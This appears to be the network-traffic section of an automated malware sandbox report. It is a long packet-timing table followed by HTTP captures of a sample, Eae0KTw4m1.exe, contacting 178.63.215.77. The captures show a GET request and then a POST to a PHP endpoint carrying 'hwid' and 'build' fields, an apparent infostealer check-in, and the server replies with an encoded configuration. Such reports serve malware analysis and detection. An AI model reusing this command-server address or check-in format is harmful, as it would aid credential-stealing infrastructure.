Oct 12, 2024 14:17:11.630750895 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:11.630763054 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:11.630784035 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:11.630795956 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:11.630815983 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:11.630831957 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:11.630848885 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:11.630861998 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:11.630881071 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:11.630897999 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:11.630913019 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:11.630925894 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:11.630944967 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:11.630964041 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:11.630978107 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:11.630991936 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:11.631014109 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:11.631022930 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:11.631059885 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:11.737509012 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:11.742847919 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:11.930279016 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:11.930327892 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:11.930383921 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:11.930418968 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:11.930452108 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:11.930474997 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:11.930475950 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:11.930475950 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:11.930486917 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:11.930520058 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:11.930560112 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:11.930560112 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:11.930560112 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:11.930583000 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:11.930591106 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:11.930632114 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:11.930661917 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:11.930666924 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:11.930680990 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:11.930697918 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:11.930718899 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:11.930732012 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:11.930756092 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:11.930782080 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:11.930782080 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:11.930831909 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:11.930843115 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:11.930865049 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:11.930893898 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:11.930897951 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:11.930922031 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:11.930932045 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:11.930946112 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:11.930983067 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:11.930989981 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:11.931031942 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:11.931045055 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:11.931078911 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:11.931112051 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:11.931130886 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:11.931130886 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:11.931144953 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:11.931171894 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:11.931190968 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:11.931190968 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:11.931224108 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:11.931252003 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:11.931256056 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:11.931276083 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:11.931288004 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:11.931301117 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:11.931338072 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:11.931341887 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:11.931370974 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:11.931399107 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:11.931420088 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:11.931433916 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:11.931540966 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:11.931571960 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:11.931603909 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:11.931637049 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:11.931668997 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:11.931699991 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:11.931696892 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:11.931696892 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:11.931696892 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:11.931696892 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:11.931696892 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:11.931730986 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:11.931761980 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:11.931783915 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:11.931783915 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:11.931783915 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:11.931793928 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:11.931824923 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:11.931826115 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:11.931854963 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:11.931862116 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:11.931890965 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:11.931901932 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:11.931920052 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:11.931922913 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:11.931938887 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:11.931955099 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:11.931982994 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:11.931986094 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:11.932008028 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:11.932018995 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:11.932030916 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:11.932050943 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:11.932080984 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:11.932080984 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:11.932104111 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:11.932115078 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:11.932128906 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:11.932147980 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:11.932174921 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:11.932178974 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:11.932203054 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:11.932212114 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:11.932226896 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:11.932244062 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:11.932264090 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:11.932276964 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:11.932290077 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:11.932307959 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:11.932332993 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:11.932341099 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:11.932372093 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:11.932378054 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:11.932398081 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:11.932404995 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:11.932419062 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:11.932436943 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:11.932467937 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:11.932498932 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:11.932528973 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:11.932559013 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:11.932590961 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:11.932621002 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:11.932624102 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:11.932625055 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:11.932655096 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:11.932625055 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:11.932648897 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:11.932650089 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:11.932650089 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:11.932687044 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:11.932718992 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:11.932749033 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:11.932779074 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:11.932809114 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:11.932840109 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:11.932871103 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:11.932905912 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:11.932952881 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:11.932952881 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:11.932952881 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:11.932952881 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:11.932952881 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:11.932952881 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:11.932952881 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:11.932952881 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:11.932975054 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:11.932975054 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:11.932975054 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:12.438252926 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:12.438252926 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:12.443489075 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:12.443862915 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:12.776830912 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:12.777043104 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:12.825165033 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:12.830152035 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:13.018556118 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:13.018614054 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:13.018645048 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:13.018655062 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:13.018726110 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:13.018726110 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:13.021281004 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:13.026139975 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:13.214819908 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:13.214896917 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:13.233562946 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:13.238477945 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:13.428842068 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:13.428937912 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:13.789988041 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:13.790157080 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:13.794981956 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:13.795115948 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:13.795129061 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:13.795183897 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:13.795224905 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:13.795238018 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:13.795269966 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:13.795289993 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:13.795304060 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:13.795356989 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:13.795614004 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:13.795625925 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:13.795649052 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:13.795670986 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:13.795674086 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:13.795686007 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:13.795702934 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:13.795725107 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:13.799758911 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:13.799772978 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:13.799796104 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:13.799837112 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:13.799941063 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:13.799952984 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:13.800004959 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:13.800007105 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:13.800017118 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:13.800044060 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:13.800051928 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:13.800075054 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:13.800101042 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:13.800101995 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:13.800146103 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:13.800164938 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:13.800209999 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:13.800291061 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:13.800343990 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:13.800409079 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:13.800466061 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:13.800477028 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:13.800489902 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:13.800534964 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:13.800545931 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:13.804591894 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:13.804728031 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:13.804739952 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:13.804750919 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:13.804773092 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:13.804785013 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:13.804795027 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:13.804805994 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:13.804816961 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:13.804905891 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:13.804919004 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:13.805031061 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:13.805042982 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:13.805057049 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:13.805188894 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:13.805202007 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:13.805218935 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:13.805242062 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:13.805253983 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:13.805263996 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:13.805274963 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:13.805286884 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:13.805298090 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:13.805310011 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:13.805334091 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:13.805346012 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:13.805356026 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:13.805366993 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:13.805378914 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:13.805391073 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:13.805411100 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:13.805423021 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:13.805465937 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:13.805478096 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:13.805489063 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:13.805510998 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:13.805522919 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:13.805527925 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:13.809354067 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:13.809365988 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:13.809386969 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:13.809397936 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:13.809408903 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:13.809449911 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:13.809472084 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:13.809484959 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:14.204495907 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:14.204579115 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:14.244781971 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:14.249789000 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:14.438927889 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:14.439001083 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:14.440125942 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:14.445375919 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:14.749133110 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:14.749277115 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:17.261293888 CEST	49730	80	192.168.2.4	178.63.215.77

HTTP Request Dependency Graph

178.63.215.77

HTTP Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
0	192.168.2.4	49730	178.63.215.77	80	7300	C:\Users\user\Desktop\Eae0KTw4m1.exe

Timestamp	Bytes transferred	Direction	Data
Oct 12, 2024 14:17:02.015976906 CEST	88	OUT	GET / HTTP/1.1 Host: 178.63.215.77 Connection: Keep-Alive Cache-Control: no-cache
Oct 12, 2024 14:17:02.663230896 CEST	203	IN	HTTP/1.1 200 OK Date: Sat, 12 Oct 2024 12:17:02 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 0 Keep-Alive: timeout=5, max=100 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8
Oct 12, 2024 14:17:02.666722059 CEST	417	OUT	POST /031d77089be01fd8.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----IIDHJDGCGDAAKEBGDBKF Host: 178.63.215.77 Content-Length: 217 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 49 49 44 48 4a 44 47 43 47 44 41 41 4b 45 42 47 44 42 4b 46 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 37 36 33 36 35 43 32 37 35 35 35 43 33 36 31 35 30 33 30 31 31 36 0d 0a 2d 2d 2d 2d 2d 2d 49 49 44 48 4a 44 47 43 47 44 41 41 4b 45 42 47 44 42 4b 46 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 62 75 69 6c 64 22 0d 0a 0d 0a 37 31 34 30 31 39 36 32 35 35 0d 0a 2d 2d 2d 2d 2d 2d 49 49 44 48 4a 44 47 43 47 44 41 41 4b 45 42 47 44 42 4b 46 2d 2d 0d 0a Data Ascii: ------IIDHJDGCGDAAKEBGDBKFContent-Disposition: form-data; name="hwid"76365C27555C3615030116------IIDHJDGCGDAAKEBGDBKFContent-Disposition: form-data; name="build"7140196255------IIDHJDGCGDAAKEBGDBKF--
Oct 12, 2024 14:17:02.888983011 CEST	407	IN	HTTP/1.1 200 OK Date: Sat, 12 Oct 2024 12:17:02 GMT Server: Apache/2.4.41 (Ubuntu) Vary: Accept-Encoding Content-Length: 180 Keep-Alive: timeout=5, max=99 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8 Data Raw: 4f 44 59 35 4d 6a 64 6a 59 54 6b 33 4e 54 55 7a 4f 57 46 6d 4e 6d 56 6d 5a 57 52 6a 4e 6a 6b 34 59 54 6c 6a 4d 44 59 30 4e 7a 41 77 4e 7a 41 7a 4f 54 42 6b 4e 7a 6c 68 4f 47 59 77 4f 57 4a 6b 4e 6d 4e 68 4d 44 63 35 5a 54 4d 31 59 57 59 78 5a 6d 45 30 4d 54 52 6d 4f 44 6b 33 4d 6a 49 31 66 48 64 72 61 32 70 78 59 57 6c 68 65 47 74 6f 59 6e 78 7a 62 57 70 73 62 47 31 35 62 57 78 69 65 6e 45 75 63 48 64 6b 66 44 46 38 4d 48 77 78 66 44 46 38 4d 58 77 78 66 44 46 38 4d 58 77 77 66 48 6c 69 62 6d 4e 69 61 48 6c 73 5a 58 42 74 5a 58 77 3d Data Ascii: ODY5MjdjYTk3NTUzOWFmNmVmZWRjNjk4YTljMDY0NzAwNzAzOTBkNzlhOGYwOWJkNmNhMDc5ZTM1YWYxZmE0MTRmODk3MjI1fHdra2pxYWlheGtoYnxzbWpsbG15bWxienEucHdkfDF8MHwxfDF8MXwxfDF8MXwwfHlibmNiaHlsZXBtZXw=
